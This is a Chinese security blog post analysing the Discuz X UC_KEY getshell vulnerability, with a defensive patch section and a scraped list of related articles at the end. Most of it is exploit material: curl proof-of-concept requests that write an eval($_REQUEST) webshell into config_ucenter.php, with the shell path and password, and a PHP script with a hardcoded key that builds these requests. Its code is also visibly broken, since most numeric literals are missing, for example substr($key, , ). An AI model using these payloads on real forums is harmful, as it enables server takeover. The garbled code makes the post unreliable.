目录

. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考

1. 漏洞描述

在Discuz中,uc_key是UC客户端与服务端通信的通信密钥。因此使用uc_key来fetch shell只能获取UCenter Client的webshell,即Discuiz!论坛的webshell

Relevant Link:

http://www.wooyun.org/bugs/wooyun-2014-048137

2. 漏洞触发条件

. 必须知道UC_KEY,通常在配置文件里,或者ucenter的原始(没有经过修改的)数据库(应用)中
. 配置文件config.inc.php必须可写

0x1: POC

curl "http://10.1.217.177/discuz/upload/api/uc.php?code=1a09vrjaTITzlGZYe7RHfvEbTx6beEQf4o1lZ1gtsNaH59iWhXbToA4edv5BFoc0t69iiYK0k%2FPv8YhgZ2g" -d "https://sb\');eval(\\$_REQUEST[c]);#"

<?php

    $key = 'd0A4qd47Y2F8A8q0o5DcZai3E7n1l4d431obf0Fal6N1h1Bbn5h7ndzdj5w0e872';# uc_key 写在这里
$url = 'http://localhost/discuz/upload/api/uc.php';
$arg = 'action=updateapps&time='.time(); #拿webshell:http://localhost/discuz/upload/config/config_ucenter.php 密码:c echo 'curl "'.$url.'?code='.rawurlencode(authcode($arg,'ENCODE',$key)).'" -d "'.addslashes('<?xml version="1.0" encoding="ISO-8859-1"?><root><item id="UC_API">https://sb\');eval(\$_REQUEST[c]);#</item></root>').'"'; #curl或者用其他工具post提交 function authcode($string, $operation = 'DECODE', $key = '', $expiry = )
{ $ckey_length = ;
$key = md5($key);
$keya = md5(substr($key, , ));
$keyb = md5(substr($key, , ));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, , $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : ).substr(md5($string.$keyb), , ).$string;
$string_length = strlen($string); $result = '';
$box = range(, ); $rndkey = array();
for($i = ; $i <= ; $i++)
{
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
} for($j = $i = ; $i < ; $i++)
{
$j = ($j + $box[$i] + $rndkey[$i]) % ;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
} for($a = $j = $i = ; $i < $string_length; $i++)
{
$a = ($a + ) % ;
$j = ($j + $box[$a]) % ;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % ]));
} if($operation == 'DECODE')
{
if((substr($result, , ) == || substr($result, , ) - time() > ) && substr($result, , ) == substr(md5(substr($result, ).$keyb), , ))
{
return substr($result, );
}
else
{
return '';
}
}
else
{
return $keyc.str_replace('=', '', base64_encode($result));
}
}
?>

0x2: POC2

curl "http://127.0.0.1:8080/extensions/ucenter/api/uc.php?code=e139ylLunDNWWxMq92dSnChgJx5sLyx30MdgX7YkcUVAkyxJplcnrcb85BmYeYpFXXguNEn5GvQ9MxdMmRM" -d "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><root><item id=\"UC_API\">https://zz');eval(\$_REQUEST[zz]);//</item></root>"

Shell地址

http://127.0.0.1:8080/extensions/ucenter/config.inc.php zz

Relevant Link:

http://faq.comsenz.com/viewnews-391
http://0day5.com/archives/1140
http://www.waitalone.cn/discuz-uc_key-getshell.html
http://www.sqlmap.cc/post-134.html

3. 漏洞影响范围
4. 漏洞代码分析

/api/uc.php

function updateapps($get, $post)
{
global $_G; if(!API_UPDATEAPPS)
{
return API_RETURN_FORBIDDEN;
} $UC_API = '';
if($post['UC_API'])
{
$UC_API = str_replace(array('\'', '"', '\\', "\0", "\n", "\r"), '', $post['UC_API']);
unset($post['UC_API']);
} $cachefile = DISCUZ_ROOT.'./uc_client/data/cache/apps.php';
$fp = fopen($cachefile, 'w');
$s = "<?php\r\n";
$s .= '$_CACHE[\'apps\'] = '.var_export($post, TRUE).";\r\n";
fwrite($fp, $s);
fclose($fp); if($UC_API && is_writeable(DISCUZ_ROOT.'./config/config_ucenter.php'))
{
//Discuz x系列的添加了个正则 所以加个 http://、https://
if(preg_match('/^https?:\/\//is', $UC_API))
{
$configfile = trim(file_get_contents(DISCUZ_ROOT.'./config/config_ucenter.php'));
$configfile = substr($configfile, -) == '?>' ? substr($configfile, , -) : $configfile;
/*
这行代码是漏洞的关键
1. 第一次提交: \');phpinfo();
/config/config_ucenter.php里的define那句就变成了: define('UC_API','\');phpinfo();'); 2. 第二次再提交
非贪婪匹配会匹配到: define('UC_API','\');
phpinfo();就留下来了 完成二次注入
*/
$configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".addslashes($UC_API)."');", $configfile);
//$configfile = preg_replace("/define('UC_API',s*'.*?');/i", "define('UC_API', '$UC_API');", $configfile);
if($fp = @fopen(DISCUZ_ROOT.'./config/config_ucenter.php', 'w'))
{
@fwrite($fp, trim($configfile));
@fclose($fp);
}
}
}
return API_RETURN_SUCCEED;
}

Relevant Link:

http://www.wooyun.org/bugs/wooyun-2014-048137

5. 防御方法

如果说class_core.php是执行初始化的工作,或者说声明必要的内容,那么这里的C::app()->init()就是把基本上需要的内容都获取到,例如数据库连接,后台设置的内容,用户信息,session信息等等

/api/uc.php

if(!defined('IN_UC'))
{
require_once '../source/class/class_core.php'; //初始化检测
if (method_exists("C", "app"))
{
$discuz = C::app();
$discuz->init();
} require DISCUZ_ROOT.'./config/config_ucenter.php'; $get = $post = array(); $code = @$_GET['code'];
parse_str(authcode($code, 'DECODE', UC_KEY), $get); if(time() - $get['time'] > ) {
exit('Authracation has expiried');
}
if(empty($get)) {
exit('Invalid Request');
} include_once DISCUZ_ROOT.'./uc_client/lib/xml.class.php';
$post = xml_unserialize(file_get_contents('php://input')); if(in_array($get['action'], array('test', 'deleteuser', 'renameuser', 'gettag', 'synlogin', 'synlogout', 'updatepw', 'updatebadwords', 'updatehosts', 'updateapps', 'updateclient', 'updatecredit', 'getcredit', 'getcreditsettings', 'updatecreditsettings', 'addfeed')))
{
$uc_note = new uc_note();
echo $uc_note->$get['action']($get, $post);
exit();
}
else
{
exit(API_RETURN_FAILED);
}
}
else
{
exit;
}

继续跟进$discuz->init(); 防御逻辑在\source\class\discuz\discuz_application.php中

private function _get_script_url()
{
if(!isset($this->var['PHP_SELF']))
{
$scriptName = basename($_SERVER['SCRIPT_FILENAME']);
if(basename($_SERVER['SCRIPT_NAME']) === $scriptName)
{
$this->var['PHP_SELF'] = $_SERVER['SCRIPT_NAME'];
}
else if(basename($_SERVER['PHP_SELF']) === $scriptName)
{
$this->var['PHP_SELF'] = $_SERVER['PHP_SELF'];
}
else if(isset($_SERVER['ORIG_SCRIPT_NAME']) && basename($_SERVER['ORIG_SCRIPT_NAME']) === $scriptName)
{
$this->var['PHP_SELF'] = $_SERVER['ORIG_SCRIPT_NAME'];
}
else if(($pos = strpos($_SERVER['PHP_SELF'],'/'.$scriptName)) !== false)
{
$this->var['PHP_SELF'] = substr($_SERVER['SCRIPT_NAME'],,$pos).'/'.$scriptName;
}
else if(isset($_SERVER['DOCUMENT_ROOT']) && strpos($_SERVER['SCRIPT_FILENAME'],$_SERVER['DOCUMENT_ROOT']) === )
{
$this->var['PHP_SELF'] = str_replace('\\','/',str_replace($_SERVER['DOCUMENT_ROOT'],'',$_SERVER['SCRIPT_FILENAME']));
$this->var['PHP_SELF'][] != '/' && $this->var['PHP_SELF'] = '/'.$this->var['PHP_SELF'];
}
else
{
system_error('request_tainting');
}
}
return $this->var['PHP_SELF'];
} private function _init_input()
{
if (isset($_GET['GLOBALS']) ||isset($_POST['GLOBALS']) || isset($_COOKIE['GLOBALS']) || isset($_FILES['GLOBALS'])) {
system_error('request_tainting');
} if(MAGIC_QUOTES_GPC) {
$_GET = dstripslashes($_GET);
$_POST = dstripslashes($_POST);
$_COOKIE = dstripslashes($_COOKIE);
} $prelength = strlen($this->config['cookie']['cookiepre']);
foreach($_COOKIE as $key => $val) {
if(substr($key, , $prelength) == $this->config['cookie']['cookiepre']) {
$this->var['cookie'][substr($key, $prelength)] = $val;
}
} if($_SERVER['REQUEST_METHOD'] == 'POST' && !empty($_POST)) {
$_GET = array_merge($_GET, $_POST);
} if(isset($_GET['page'])) {
$_GET['page'] = rawurlencode($_GET['page']);
} if(!(!empty($_GET['handlekey']) && preg_match('/^\w+$/', $_GET['handlekey']))) {
unset($_GET['handlekey']);
} if(!empty($this->var['config']['input']['compatible'])) {
foreach($_GET as $k => $v) {
$this->var['gp_'.$k] = daddslashes($v);
}
} $this->var['mod'] = empty($_GET['mod']) ? '' : dhtmlspecialchars($_GET['mod']);
$this->var['inajax'] = empty($_GET['inajax']) ? : (empty($this->var['config']['output']['ajaxvalidate']) ? : ($_SERVER['REQUEST_METHOD'] == 'GET' && $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest' || $_SERVER['REQUEST_METHOD'] == 'POST' ? : ));
$this->var['page'] = empty($_GET['page']) ? : max(, intval($_GET['page']));
$this->var['sid'] = $this->var['cookie']['sid'] = isset($this->var['cookie']['sid']) ? dhtmlspecialchars($this->var['cookie']['sid']) : ''; if(empty($this->var['cookie']['saltkey'])) {
$this->var['cookie']['saltkey'] = random();
dsetcookie('saltkey', $this->var['cookie']['saltkey'], * , , );
}
$this->var['authkey'] = md5($this->var['config']['security']['authkey'].$this->var['cookie']['saltkey']); }

/api/uc.php

function updateapps($get, $post) {  /* */ if($post['UC_API']) { $post['UC_API'] = addslashes($post['UC_API']); } /**/
global $_G; if(!API_UPDATEAPPS) {
return API_RETURN_FORBIDDEN;
} $UC_API = '';
if($post['UC_API']) {
$UC_API = str_replace(array('\'', '"', '\\', "\0", "\n", "\r"), '', $post['UC_API']);
unset($post['UC_API']);
} $cachefile = DISCUZ_ROOT.'./uc_client/data/cache/apps.php';
$fp = fopen($cachefile, 'w');
$s = "<?php\r\n";
$s .= '$_CACHE[\'apps\'] = '.var_export($post, TRUE).";\r\n";
fwrite($fp, $s);
fclose($fp); if($UC_API && is_writeable(DISCUZ_ROOT.'./config/config_ucenter.php')) {
if(preg_match('/^https?:\/\//is', $UC_API)) {
$configfile = trim(file_get_contents(DISCUZ_ROOT.'./config/config_ucenter.php'));
$configfile = substr($configfile, -) == '?>' ? substr($configfile, , -) : $configfile;
$configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".addslashes($UC_API)."');", $configfile);
if($fp = @fopen(DISCUZ_ROOT.'./config/config_ucenter.php', 'w')) {
@fwrite($fp, trim($configfile));
@fclose($fp);
}
}
}
return API_RETURN_SUCCEED;
}

Relevant Link:

http://blog.csdn.net/jesson002/article/details/11166827

6. 攻防思考

Relevant Link:

http://www.oldjun.com/blog/index.php/archives/59/
http://www.sqlmap.cc/post-17.html
http://www.oldjun.com/blog/index.php/archives/76/

Copyright (c) 2014 LittleHann All rights reserved

Discuz X1.5 X2.5 X3 UC_KEY Getshell Write PHPCODE into config/config_ucenter.php Via /api/uc.php Vul的更多相关文章

  1. [javascript svg fill stroke stroke-width x1 y1 x2 y2 line stroke-opacity fill-opacity 属性讲解] svg fill stroke stroke-width stroke-opacity fill-opacity line绘制线条属性讲解

    <!DOCTYPE html> <html lang='zh-cn'> <head> <title>Insert you title</title ...

  2. Discuz论坛搬家手记(X3.2版本)

    Discuz论坛搬家手记(X3.2版本) 客户在虚拟主机上 运行着一个DISCUZ论坛, 主机商限制太多,连MP3都不让放,客户准备是在上面放一个FLASH斗地主游戏的(多人联机版), 加上MYSQL ...

  3. uc_key getshell

    <?php $key = 'cebbvi5s15BSiMXteaP9TNCIz5K5jAVekw7tcV9TqmYCNT5VOJdu7toOxipTX';#uc_key 写在这里 $url = ...

  4. Discuz X1.5 利用添加好友处存储xss进行蠕虫worm扩散

    Discuz X1.5 在添加好友的地方有处存储xss,借助此处xss跟用户交互可以进行蠕虫指数扩散. 位置在添加好友处 x完之后的效果 点击后触发 ok 借助此存储xss,我们进行worm传播,dz ...

  5. [Discuz!] Discuz X1.5点击“发帖”出现XML代码的解决办法!

    使用的是Discuz X1.5程序,不知什么原因,今天突然出现了大问题,就是在点击“发帖”的时候,原来正常显示的网页竟然变成了XML代码!经过一番查找资料,也未能找到是什么原因导致的,只是找到了解决办 ...

  6. 买茶叶想到的哪个比较便宜 x1/y1 >x2/y2 x代表多少钱 y代表 多少克 无聊的试炼

    茶叶1 128元     200克 茶叶2  330元    160克 当然这个哪个便宜 一眼就知道了,这里不过抛砖引玉 128元    330元 200克    160克 我们把价钱用x表示 多少克 ...

  7. HDU 4259(Double Dealing-lcm(x1..xn)=lcm(x1,lcm(x2..xn))

    Double Dealing Time Limit: 50000/20000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others) ...

  8. DZ拿shell总结

    今天碰到一个dz的站,好久没拿了 ,拿下shell觉得应该总结一下 Uc_server默认密码 其实有了UC_SERVER就是有了网站的全部权限了,有了UC_SERVER你可以重置管理员密码 可以进后 ...

  9. Discuz利用UC_KEY进行前台getshell

    来源:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0137991.html 先通过uc_key把恶意代码保存在/uc_client/data/ca ...

随机推荐

  1. Construct Binary Tree from Preorder and Inorder Traversal

    Construct Binary Tree from Preorder and Inorder Traversal Given preorder and inorder traversal of a ...

  2. Linux shell实战(ipcs工具)

    #!/bin/bash -o $# -gt ] then echo "参数个数不正确!" exit - fi WHOAIM=`whoami` function release { ...

  3. Python之路【第十一篇】前端初识之HTML

    HTML HTML解释: HTML是英文Hyper Text Mark-up Language(超文本标记语言)的缩写,他是一种制作万维网页面标准语言(标记).相当于定义统一的一套规则,大家都来遵守他 ...

  4. The specified framework 'Microsoft.NETCore.App', version '1.0.1' was not found 解决办法

    环境:Centos 7 已经下载安装.NET Core 1.1 Microsoft .NET Core Shared Framework Host Version : Build : 928f77c4 ...

  5. FineUI小技巧(3)表格导出与文件下载

    需求描述 实际应用中,我们可能需要导出表格内容,或者在页面回发时根据用户权限下载文件(注意,这里的导出与下载,都是在后台进行的,和普通的一个链接下载文件不同). 点击按钮导出表格 由于FineUI 默 ...

  6. opencv6.5-imgproc图像处理模块之轮廓

    接opencv6.4-imgproc图像处理模块之直方图与模板 这部分的<opencv_tutorial>上都是直接上代码,没有原理部分的解释的. 十一.轮廓 1.图像中找轮廓 /// 转 ...

  7. DirectX11 SDK 例程报错解决方法

    下载好DirectX11例程后,VS2015运行不起来,好几个报错 在这里记录一下,虽然挺简单的,但是我想对于像我这样的新手小伙伴们来说还是挺有用的 第一个错误: FXC : error X3501: ...

  8. 领导让我重新做一个微信H5页面!

    leader:我们需要做一个微信H5页面,效果如图,功能如描述,时间越快越好. 需求是不是很简单呢?2015-11-24 12:44:00文末有最新更新 背景描述 前几天微信转发相关项目开发后,这是第 ...

  9. PHP学习资料分享

    PHP有着开源.执行效率高.优化代码运行等特性,功能强大,被广泛运用,很多大型企业网站开发的首选,百度.腾讯.新浪.金山等均采用了PHP开发.学好PHP对网络开发人员而言具有很好的发展前景,市场对PH ...

  10. [BZOJ1232][[Usaco2008Nov]安慰奶牛cheer(MST)

    题目:http://hzwer.com/2493.html 分析:对于每条边,贡献的价值是这条边的边权加上这条边连接的两点的权值,所以可以把每条边的边权加上两顶点的点权作为新的边权,然后跑个最小生成树 ...